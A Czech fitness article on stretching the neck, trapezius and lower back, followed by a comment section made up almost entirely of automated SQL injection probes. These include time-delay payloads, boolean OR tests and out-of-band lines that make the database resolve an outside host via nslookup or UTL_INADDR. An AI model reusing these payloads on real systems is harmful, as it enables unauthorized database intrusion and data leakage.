reklama
cz / EN / esp

Strečink: jak si správně protáhnout svaly

V dnešním díle se zaměříme na strečink zad. Podívejte se na video.

reklama

Slovo strečink pochází z anglického slova stretching, což znamená natahování nebo roztahování. Své místo si strečink našel u vrcholových sportovců, tak u rekreačních sportovců a lidí se sníženou ohebností. Význam strečinku je hlavně kompenzační a regenerační.

 

Hlavním úkolem strečinku je protáhnout zkrácené svaly, čímž sekundárně působí i na rozvoj kloubní pohyblivosti. Jako kompenzační cvičení je tak vhodnou prevencí proti zraněním. Naopak při zanedbání cvičení na ohebnost dojde ke zkracování svalstva a pravděpodobnost zranění se výrazně zvýší. (běžně k vidění v posilovnách…) Nedostatečná ohebnost může vést k neschopnosti správně provést techniku ​​cvičení.

 

Přirozenou vlastností svalů je jejich obranná funkce - napínací reflex (aktivní obranná činnost nervově-svalového systému). Pokud je na sval vyvolán prudký tlak, přirozeně začne klást odpor. Jednoduše řečeno, sval se zatne a nebude chtít dovolit, abychom ho natáhli do maxima. Je proto důležité naučit se, jak sval "oklamat". Nejedná se o žádný nový objev. Principy strečinku se nacházejí ve starších systémech a jsou součástí jógy.

 

Viz můj video návod, který jsem pro vás připravil. Zaměřuji se tam na základní strečink krčních svalů, trapézů a spodního zad.

 

 

Michael Achberger / 27.06.2016
Související
reklama

Komentáře k článku

Vážení čtenáři, o vaše názory velmi stojíme. Chceme však, aby diskuse měly smysl. Proto vás prosíme, diskutujte slušně a k tématu článku. Příspěvky, které ve slušné a kultivované diskuzi nemají místo, mažeme.

Nový komentár





1acuJD66gZxO82 15.05.2018
1
1acuJD66gZxO82 15.05.2018
1
oxffglbo 15.05.2018
1
1acuJD66gZxO82 15.05.2018
1
oxffglbo 15.05.2018
1acueRCwET3lnx
ywrpdoju 14.05.2018
1
ywrpdoju 14.05.2018
1
ywrpdoju 14.05.2018
1
ywrpdoju 14.05.2018
1
ywrpdoju 14.05.2018
1
ywrpdoju 14.05.2018
1
ywrpdoju 14.05.2018
1
ywrpdoju 14.05.2018
1
ywrpdoju 14.05.2018
1
ywrpdoju 14.05.2018
1
ywrpdoju 14.05.2018
1
ywrpdoju 14.05.2018
1
ywrpdoju 14.05.2018
1
ywrpdoju 14.05.2018
1
ywrpdoju 14.05.2018
1
ywrpdoju 14.05.2018
1
ywrpdoju 14.05.2018
1
ywrpdoju 14.05.2018
1
ywrpdoju 14.05.2018
1
ywrpdoju 14.05.2018
1
ywrpdoju 14.05.2018
1
ywrpdoju 14.05.2018
1
ywrpdoju 14.05.2018
1
ywrpdoju 14.05.2018
1
ywrpdoju 14.05.2018
1
ywrpdoju 14.05.2018
1
ywrpdoju 14.05.2018
1
ywrpdoju 14.05.2018
1
ywrpdoju 14.05.2018
1
ywrpdoju 14.05.2018
1
ywrpdoju 14.05.2018
1
ywrpdoju 14.05.2018
1
ywrpdoju 14.05.2018
1
ywrpdoju 14.05.2018
1
ywrpdoju 14.05.2018
1
ywrpdoju 14.05.2018
1
ywrpdoju 14.05.2018
1
ywrpdoju 14.05.2018
1
ywrpdoju 14.05.2018
1
ywrpdoju 14.05.2018
1
ywrpdoju 14.05.2018
1
ywrpdoju 14.05.2018
1
ywrpdoju 14.05.2018
1
ywrpdoju 14.05.2018
1
ywrpdoju 14.05.2018
1
ywrpdoju 14.05.2018
1
ywrpdoju 14.05.2018
1
ywrpdoju 14.05.2018
1
ywrpdoju 14.05.2018
1
ywrpdoju 14.05.2018
1
ywrpdoju 14.05.2018
1
ywrpdoju 14.05.2018
1
ywrpdoju 14.05.2018
1
ywrpdoju 14.05.2018
1
ywrpdoju 14.05.2018
1
ywrpdoju 14.05.2018
1
ywrpdoju 14.05.2018
1
ywrpdoju 14.05.2018
1
ywrpdoju 14.05.2018
1
ywrpdoju 14.05.2018
1
ywrpdoju 14.05.2018
1
ywrpdoju 14.05.2018
1
ywrpdoju 14.05.2018
1
wcccvtmh 14.05.2018
1
wcccvtmh 14.05.2018
1
ywrpdoju 14.05.2018
1
wcccvtmh 14.05.2018
1
wcccvtmh 14.05.2018
1
wcccvtmh 14.05.2018
1
wcccvtmh 14.05.2018
1
wcccvtmh 14.05.2018
1
wcccvtmh 14.05.2018
1
wcccvtmh 14.05.2018
1
wcccvtmh 14.05.2018
1
221' 14.05.2018
1
221' 14.05.2018
1
221' 14.05.2018
1
221' 14.05.2018
1
ywrpdoju';copy (select '') to program 'nslookup dns.sqli.\039481.50-5924.50.753de.\1.bxss.me 14.05.2018
1
'||UTL_INADDR.get_host_address('dns.'||'sqli.039481.50-5922.50.753de.1.bxss'||'.me')||' 14.05.2018
1
fQHowzMG');select pg_sleep(88.971); -- 14.05.2018
1
o6aYGqBF'));select pg_sleep(29.657); -- 14.05.2018
1
wcccvtmh 14.05.2018
1
wcccvtmh 14.05.2018
1
wcccvtmh 14.05.2018
1
BfUKWfrY';select pg_sleep(88.971); -- 14.05.2018
1
5dkb85wZ'; waitfor delay '0:0:59.314' -- 14.05.2018
1
wcccvtmh 14.05.2018
1
1 waitfor delay '0:0:59.314' -- 14.05.2018
1
(select(0)from(select(sleep(59.314)))v)/*'+(select(0)from(select(sleep(59.314)))v)+'"+(select(0)from(select(sleep(59.314)))v)+"*/ 14.05.2018
1
if(now()=sysdate(),sleep(29.657),0)/*'XOR(if(now()=sysdate(),sleep(29.657),0))OR'"XOR(if(now()=sysdate(),sleep(29.657),0))OR"*/ 14.05.2018
1
-1" OR 3*2>(0+5+604-604) -- 14.05.2018
1
wcccvtmh 14.05.2018
1
-1" OR 3*2<(0+5+604-604) -- 14.05.2018
1
wcccvtmh 14.05.2018
1
-1" OR 3+604-604-1=0+0+0+1 -- 14.05.2018
1
-1" OR 3+604-604-1=0+0+0+1 -- 14.05.2018
1
wcccvtmh 14.05.2018
1
-1" OR 3+604-604-1=0+0+0+1 -- 14.05.2018
1
-1" OR 3+604-604-1=0+0+0+1 -- 14.05.2018
1
-1" OR 2+604-604-1=0+0+0+1 -- 14.05.2018
1
-1' OR 3*2>(0+5+169-169) or 'JyxAUTUA'=' 14.05.2018
1
-1' OR 3*2<(0+5+169-169) or 'JyxAUTUA'=' 14.05.2018
1
''"" 14.05.2018
1
-1' OR 3+169-169-1=0+0+0+1 or 'JyxAUTUA'=' 14.05.2018
1
-1' OR 3+169-169-1=0+0+0+1 or 'JyxAUTUA'=' 14.05.2018
1
'" 14.05.2018
1
JyI= 14.05.2018
1
-1' OR 2+169-169-1=0+0+0+1 or 'JyxAUTUA'=' 14.05.2018
1
@@XPhvo 14.05.2018
1
-1' OR 3*2>(0+5+493-493) -- 14.05.2018
1
1%2527%2522 14.05.2018
1
-1' OR 3*2<(0+5+493-493) -- 14.05.2018
1
-1' OR 3+493-493-1=0+0+0+1 -- 14.05.2018
1
-1' OR 2+493-493-1=0+0+0+1 -- 14.05.2018
1
\ 14.05.2018
1
1'" 14.05.2018
1
-1' OR 2+493-493-1=0+0+0+1 -- 14.05.2018
1
wcccvtmh 14.05.2018
1
-1' OR 2+493-493-1=0+0+0+1 -- 14.05.2018
1
-1 OR 3*2>(0+5+53-53) 14.05.2018
1
-1 OR 3*2<(0+5+53-53) 14.05.2018
1
-1 OR 3*2<(0+5+53-53) 14.05.2018
1
-1 OR 3+53-53-1=0+0+0+1 14.05.2018
1
-1 OR 2+53-53-1=0+0+0+1 14.05.2018
1
-1 OR 3*2>(0+5+285-285) -- 14.05.2018
1
-1 OR 3*2<(0+5+285-285) -- 14.05.2018
1
-1 OR 3+285-285-1=0+0+0+1 -- 14.05.2018
1
-1 OR 3+285-285-1=0+0+0+1 -- 14.05.2018
1
-1 OR 3+285-285-1=0+0+0+1 -- 14.05.2018
1
-1 OR 2+285-285-1=0+0+0+1 -- 14.05.2018
1
ywrpdoju 14.05.2018
1
wcccvtmh 14.05.2018
''""
ywrpdoju 14.05.2018
1
wcccvtmh 14.05.2018
'"
wcccvtmh 14.05.2018
JyI=
wcccvtmh 14.05.2018
JyI=
wcccvtmh 14.05.2018
@@KTm1F
wcccvtmh 14.05.2018
1%2527%2522
wcccvtmh 14.05.2018
\
wcccvtmh 14.05.2018
1'"
wcccvtmh 14.05.2018
1
ywrpdoju 14.05.2018
261'
ywrpdoju 14.05.2018
1';copy (select '') to program 'nslookup dns.sqli.\039481.50-5894.50.753de.\1.bxss.me
ywrpdoju 14.05.2018
1;copy (select '') to program 'nslookup dns.sqli.\039481.50-5893.50.753de.\1.bxss.me'
ywrpdoju 14.05.2018
'||UTL_INADDR.get_host_address('dns.'||'sqli.039481.50-5892.50.753de.1.bxss'||'.me')||'
ywrpdoju 14.05.2018
1||UTL_INADDR.get_host_address('dns.'||'sqli.039481.50-5887.50.753de.1.bxss'||'.me')
ywrpdoju 14.05.2018
1||UTL_INADDR.get_host_address('dns.'||'sqli.039481.50-5887.50.753de.1.bxss'||'.me')
ywrpdoju 14.05.2018
1||UTL_INADDR.get_host_address('dns.'||'sqli.039481.50-5887.50.753de.1.bxss'||'.me')
ywrpdoju 14.05.2018
-1));select pg_sleep(41.108999999999995); --
ywrpdoju 14.05.2018
SaQheby0'));select pg_sleep(27.406); --
ywrpdoju 14.05.2018
5N6NmREH');select pg_sleep(27.406); --
ywrpdoju 14.05.2018
cgMu9Jqb';select pg_sleep(27.406); --
ywrpdoju 14.05.2018
-1);select pg_sleep(0); --
ywrpdoju 14.05.2018
-1));select pg_sleep(13.703); --
ywrpdoju 14.05.2018
-1);select pg_sleep(13.703); --
ywrpdoju 14.05.2018
D4VGjZGV'; waitfor delay '0:0:27.406' --
ywrpdoju 14.05.2018
-1;select pg_sleep(41.108999999999995); --
ywrpdoju 14.05.2018
1 waitfor delay '0:0:41.108999999999995' --
ywrpdoju 14.05.2018
1 waitfor delay '0:0:13.703' --
ywrpdoju 14.05.2018
-1); waitfor delay '0:0:0' --
ywrpdoju 14.05.2018
-1); waitfor delay '0:0:13.703' --
ywrpdoju 14.05.2018
-1; waitfor delay '0:0:41.108999999999995' --
ywrpdoju 14.05.2018
(select(0)from(select(sleep(41.108999999999995)))v)/*'+(select(0)from(select(sleep(41.108999999999995)))v)+'"+(select(0)from(select(sleep(41.108999999999995)))v)+"*/
ywrpdoju 14.05.2018
if(now()=sysdate(),sleep(27.406),0)/*'XOR(if(now()=sysdate(),sleep(27.406),0))OR'"XOR(if(now()=sysdate(),sleep(27.406),0))OR"*/
ywrpdoju 14.05.2018
-1" OR 3*2>(0+5+398-398) --
ywrpdoju 14.05.2018
-1" OR 3*2<(0+5+398-398) --
ywrpdoju 14.05.2018
-1" OR 3*2<(0+5+398-398) --
ywrpdoju 14.05.2018
-1" OR 3+398-398-1=0+0+0+1 --
ywrpdoju 14.05.2018
-1" OR 2+398-398-1=0+0+0+1 --
ywrpdoju 14.05.2018
-1" OR 2+398-398-1=0+0+0+1 --
ywrpdoju 14.05.2018
-1" OR 2+398-398-1=0+0+0+1 --
ywrpdoju 14.05.2018
-1' OR 3*2>(0+5+33-33) or 'dL5FCJCq'='
ywrpdoju 14.05.2018
-1' OR 3*2<(0+5+33-33) or 'dL5FCJCq'='
ywrpdoju 14.05.2018
-1' OR 3*2<(0+5+33-33) or 'dL5FCJCq'='
ywrpdoju 14.05.2018
-1' OR 3+33-33-1=0+0+0+1 or 'dL5FCJCq'='
ywrpdoju 14.05.2018
-1' OR 2+33-33-1=0+0+0+1 or 'dL5FCJCq'='
ywrpdoju 14.05.2018
-1' OR 3*2>(0+5+171-171) --
ywrpdoju 14.05.2018
-1' OR 3*2>(0+5+171-171) --
ywrpdoju 14.05.2018
-1' OR 3*2<(0+5+171-171) --
ywrpdoju 14.05.2018
-1' OR 3+171-171-1=0+0+0+1 --
ywrpdoju 14.05.2018
-1' OR 2+171-171-1=0+0+0+1 --
ywrpdoju 14.05.2018
-1 OR 3*2>(0+5+336-336)
ywrpdoju 14.05.2018
-1 OR 3*2<(0+5+336-336)
ywrpdoju 14.05.2018
-1 OR 3+336-336-1=0+0+0+1
ywrpdoju 14.05.2018
-1 OR 3+336-336-1=0+0+0+1
ywrpdoju 14.05.2018
-1 OR 2+336-336-1=0+0+0+1
ywrpdoju 14.05.2018
-1 OR 3*2>(0+5+446-446) --
ywrpdoju 14.05.2018
-1 OR 3*2<(0+5+446-446) --
ywrpdoju 14.05.2018
-1 OR 3+446-446-1=0+0+0+1 --
ywrpdoju 14.05.2018
-1 OR 3+446-446-1=0+0+0+1 --
ywrpdoju 14.05.2018
-1 OR 2+446-446-1=0+0+0+1 --
ywrpdoju 14.05.2018
1
ywrpdoju 14.05.2018
1
dijuorsq 13.05.2018
1
reklama

reklama

reklama


Najdete na FreshGayMag